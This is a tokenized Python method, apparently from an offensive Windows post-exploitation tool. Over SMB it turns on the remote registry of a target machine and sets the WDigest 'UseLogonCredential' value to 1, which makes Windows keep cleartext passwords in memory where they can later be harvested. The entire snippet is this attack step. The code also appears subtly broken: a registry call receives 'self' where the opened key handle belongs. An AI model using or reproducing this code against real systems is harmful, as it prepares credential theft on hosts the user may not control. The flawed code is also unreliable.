#NEWLINE# def enable( self ) : #NEWLINE# #INDENT# remoteOps = RemoteOperations ( self . smbconnection , self . doKerb ) #NEWLINE# remoteOps . enableRegistry ( ) #NEWLINE# self . rrp = remoteOps . _RemoteOperations__rrp #NEWLINE# if ( self . rrp is not None ) : #NEWLINE# #INDENT# ans = rrp . hOpenLocalMachine ( self . rrp ) #NEWLINE# regHandle = ans [ 'phKey' ] #NEWLINE# ans = rrp . hBaseRegOpenKey ( self . rrp , self , 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest' ) #NEWLINE# keyHandle = ans [ 'phkResult' ] #NEWLINE# rrp . hBaseRegSetValue ( self . rrp , keyHandle , 'UseLogonCredential\x00' , rrp . REG_DWORD , '\x01\x00' ) #NEWLINE# ( rtype , data ) = rrp . hBaseRegQueryValue ( self . rrp , keyHandle , 'UseLogonCredential\x00' ) #NEWLINE# if ( int ( data ) == 1 ) : #NEWLINE# #INDENT# self . logger . success ( 'UseLogonCredential registry key created successfully' ) #NEWLINE# #UNINDENT# #UNINDENT# try : #NEWLINE# #INDENT# remoteOps . finish ( ) #NEWLINE# #UNINDENT# except : #NEWLINE# #INDENT# pass